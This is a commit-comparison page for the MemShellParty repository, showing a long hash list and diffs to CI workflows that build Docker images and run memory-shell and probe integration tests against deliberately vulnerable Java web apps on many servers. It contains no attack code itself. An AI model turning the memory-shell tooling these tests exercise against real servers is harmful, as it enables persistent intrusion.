mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 07:21:53 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
de943d6b39 | ||
|
|
c392605cb0 | ||
|
|
d0c9eecdad | ||
|
|
e793d573d4 | ||
|
|
cf8f731e56 | ||
|
|
51b7e8e17f | ||
|
|
25e1b3964a | ||
|
|
9d2b4c7774 | ||
|
|
3599fa4e14 | ||
|
|
d4718dcff5 | ||
|
|
1aa528e51f | ||
|
|
b38c65b254 | ||
|
|
9243070126 | ||
|
|
0d3b56de63 | ||
|
|
995e0184ea | ||
|
|
2a4e82e9e1 | ||
|
|
713d24e336 | ||
|
|
5ddbca566e | ||
|
|
9213b9365e | ||
|
|
96764e2a5a | ||
|
|
5ea851c438 | ||
|
|
5f95748029 | ||
|
|
f9522c1cb1 | ||
|
|
d8fa51f317 | ||
|
|
027987fcf2 | ||
|
|
b40fc59668 | ||
|
|
ca26e37c21 | ||
|
|
3fbf20cc70 | ||
|
|
c045121438 | ||
|
|
f60d4108ad | ||
|
|
fe5760409a | ||
|
|
40632a7308 | ||
|
|
b49bb89025 | ||
|
|
336d0b1f5a | ||
|
|
5ec48e7d41 | ||
|
|
8ba200089a | ||
|
|
e38a91f720 | ||
|
|
60edda0cec | ||
|
|
c5bfd3d92e | ||
|
|
159f501179 | ||
|
|
ff6d1b6f9e | ||
|
|
8402bd9d51 | ||
|
|
7c126d8189 | ||
|
|
03c138206a | ||
|
|
8b1cf078f3 | ||
|
|
3e4c5e5b38 | ||
|
|
b49ad1581f | ||
|
|
bf50918a99 | ||
|
|
be051d3147 | ||
|
|
f780886f08 | ||
|
|
b46959e059 | ||
|
|
3e2d977562 | ||
|
|
b45efd8e1e | ||
|
|
ee9288debd | ||
|
|
1518432fde | ||
|
|
302e8fbb8f | ||
|
|
4955c9d4a2 | ||
|
|
cf492e68ea | ||
|
|
39eab10281 | ||
|
|
ba9c0be2a4 | ||
|
|
23f310ca8a | ||
|
|
9d9d33f612 | ||
|
|
da1a5f70ef | ||
|
|
69e8e20a6a | ||
|
|
a1f32c5bf2 | ||
|
|
6b10b3f56f | ||
|
|
3e3d82218c | ||
|
|
202924aa54 | ||
|
|
054e22bc3d | ||
|
|
fa92930353 | ||
|
|
52437d67be | ||
|
|
117b48a9d0 | ||
|
|
3fe9a932ba | ||
|
|
1772c08f22 | ||
|
|
e44caeba1b | ||
|
|
4f080df85a | ||
|
|
7562469b44 | ||
|
|
359931a881 | ||
|
|
8c20f18c70 | ||
|
|
dace117e73 | ||
|
|
5c0d26ae16 | ||
|
|
8e9d47bbea | ||
|
|
c1f1802182 | ||
|
|
dc7958e123 | ||
|
|
d59bb9d29f | ||
|
|
3e966f8fab | ||
|
|
f940a528f0 | ||
|
|
0b48dd64bd | ||
|
|
bf213ae575 | ||
|
|
c8ede922b9 | ||
|
|
c0a059fbdc | ||
|
|
b4f8e62fc7 | ||
|
|
1c0d65b353 | ||
|
|
f26727e6fc | ||
|
|
2b1388c8eb | ||
|
|
9f7b4276e2 | ||
|
|
b992e5f60e | ||
|
|
de69a63be5 | ||
|
|
de462ae8b0 | ||
|
|
d873dae8f3 | ||
|
|
3e2fb861cd | ||
|
|
cbc71e5a52 | ||
|
|
ad8d2713ad | ||
|
|
b04a34f1ab | ||
|
|
2f325934e1 | ||
|
|
b47e437889 | ||
|
|
d1edb8fbdf | ||
|
|
7f176dd443 | ||
|
|
43c410e653 | ||
|
|
b9efe6dac5 | ||
|
|
930edbc8b0 | ||
|
|
0f473311f9 | ||
|
|
b412e9206d | ||
|
|
d9205aaff7 | ||
|
|
4dda9236ca | ||
|
|
694e60bd23 | ||
|
|
25ffe5bb14 | ||
|
|
e9265b52f5 | ||
|
|
e872e0cd06 | ||
|
|
b6219628ae | ||
|
|
0d1fab8740 | ||
|
|
e9fb20fa07 | ||
|
|
97e365e935 | ||
|
|
75e3ed595a | ||
|
|
ab4ad88d6e | ||
|
|
9abea930b3 | ||
|
|
ab8773b177 | ||
|
|
0de0efef9c | ||
|
|
3d5851f3ae | ||
|
|
9c298a2303 | ||
|
|
b846f67c34 | ||
|
|
1e5f7dd281 | ||
|
|
37832ee768 | ||
|
|
a59282b2a9 | ||
|
|
bf151faa1c | ||
|
|
11c439f6c6 | ||
|
|
a10386457c | ||
|
|
dd9333e473 | ||
|
|
d7a67b3056 | ||
|
|
e41f8347c6 | ||
|
|
47b628ee5b | ||
|
|
970e260b16 | ||
|
|
ebfb9323f8 | ||
|
|
818f42048d | ||
|
|
554719a447 | ||
|
|
42a9c00263 | ||
|
|
b1b44dbc4c | ||
|
|
0c5847b4dd | ||
|
|
ef1a77d11d | ||
|
|
8551c3b18f | ||
|
|
c1631b9401 | ||
|
|
e1a852a301 | ||
|
|
4fd1e4170f | ||
|
|
73f5694cac | ||
|
|
bac3023dfa | ||
|
|
baeb3daa50 | ||
|
|
5d28df0e39 | ||
|
|
b29d83d3b4 | ||
|
|
605379907b | ||
|
|
84c61629ff | ||
|
|
4a207e583a | ||
|
|
afb3d46080 | ||
|
|
102173b924 | ||
|
|
8b8cc7173d | ||
|
|
c43d87eea1 | ||
|
|
11e58495fc | ||
|
|
8491d6f964 | ||
|
|
1cf5f37086 | ||
|
|
cd8111d0d7 | ||
|
|
653665e479 | ||
|
|
79c3e0d929 | ||
|
|
50a60c4c65 | ||
|
|
90c20b5388 | ||
|
|
4652f644e4 | ||
|
|
c21d47140f | ||
|
|
fc3961a6bf | ||
|
|
962264f13e | ||
|
|
75495aee20 | ||
|
|
13a83d510b | ||
|
|
2582a12785 | ||
|
|
05bfa6fd1c | ||
|
|
40e6c55b6d | ||
|
|
bfda586d58 | ||
|
|
f0c88ab914 | ||
|
|
504dde9335 | ||
|
|
e4e86d2c8d | ||
|
|
dc898fd214 | ||
|
|
0ec52dd167 | ||
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 | ||
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c | ||
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../CHANGELOG.md") as f:
|
with open("../../web/content/docs/changelog.mdx") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -6,15 +6,16 @@ on:
|
|||||||
- dev
|
- dev
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
- '**.md'
|
||||||
- '**/*.png'
|
- '**/*.png'
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -27,6 +28,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -36,10 +42,16 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle (Linux)
|
||||||
run: ./gradlew :boot:bootjar -x test
|
if: matrix.os == 'ubuntu-latest'
|
||||||
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: Docker Build Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- master
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'examples/**'
|
||||||
|
- 'vul/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
docker-build-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Build Docker image
|
||||||
|
run: |
|
||||||
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
docker images
|
||||||
|
- name: Run Docker container
|
||||||
|
run: |
|
||||||
|
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||||
|
sleep 10
|
||||||
|
- name: Test with curl
|
||||||
|
run: |
|
||||||
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
||||||
|
echo "Test successful!"
|
||||||
|
else
|
||||||
|
echo "Test failed!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: docker-push
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
path:
|
||||||
|
description: 'Path'
|
||||||
|
required: true
|
||||||
|
default: '/redqueen-memshell-party'
|
||||||
|
tag:
|
||||||
|
description: "Tag"
|
||||||
|
required: true
|
||||||
|
default: "redqueen"
|
||||||
|
jobs:
|
||||||
|
docker-push:
|
||||||
|
name: Docker Push
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Login to Docker Hub
|
||||||
|
uses: docker/login-action@v3
|
||||||
|
with:
|
||||||
|
registry: docker.io
|
||||||
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set up QEMU
|
||||||
|
uses: docker/setup-qemu-action@v3
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: .
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||||
|
CONTEXT_PATH=${{ inputs.path }}
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
name: MemShell IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
|
- '**/memshell/**'
|
||||||
|
- '**/packer/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
memshell-integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
- middleware: "xxljob"
|
||||||
|
depend_tasks: ""
|
||||||
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
|
runs-on: ubuntu-22.04
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
name: Probe IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- '**/probe/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
|
runs-on: ubuntu-22.04
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -47,6 +47,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -109,6 +114,18 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: .
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||||
|
CONTEXT_PATH=/redqueen-memshell-party
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:redqueen
|
||||||
|
|
||||||
deploy-maven:
|
deploy-maven:
|
||||||
name: Deploy to Maven Central
|
name: Deploy to Maven Central
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
name: Single IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
depend_tasks:
|
||||||
|
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||||
|
required: false
|
||||||
|
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||||
|
type: string
|
||||||
|
test_class:
|
||||||
|
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||||
|
required: true
|
||||||
|
type: string
|
||||||
|
|
